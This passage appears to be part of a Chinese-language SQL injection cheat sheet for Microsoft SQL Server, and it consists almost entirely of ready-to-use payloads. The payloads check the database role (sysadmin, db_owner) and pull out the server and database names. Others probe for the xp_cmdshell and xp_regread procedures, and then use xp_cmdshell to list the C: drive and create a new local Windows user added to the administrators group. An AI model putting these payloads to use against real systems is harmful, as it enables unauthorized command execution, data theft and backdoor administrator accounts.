2.注入点权限判断
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
3.其他信息获取
;declare @d int //判断MsSQL支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user>0 //获取当前数据库用户名
and db_name>0 //获取当前数据库名称
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
二、利用MsSQL扩展存储注入攻击
1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
三、sa权限下扩展存储攻击利用方法
1.利用xp_cmdshell扩展执行任意命令
查看C盘
;drop table black;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--
;insert into black exec master..xp_cmdshell 'dir c:\'
and 1=(select top 1 mulu from black where id=1)
新建用户
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'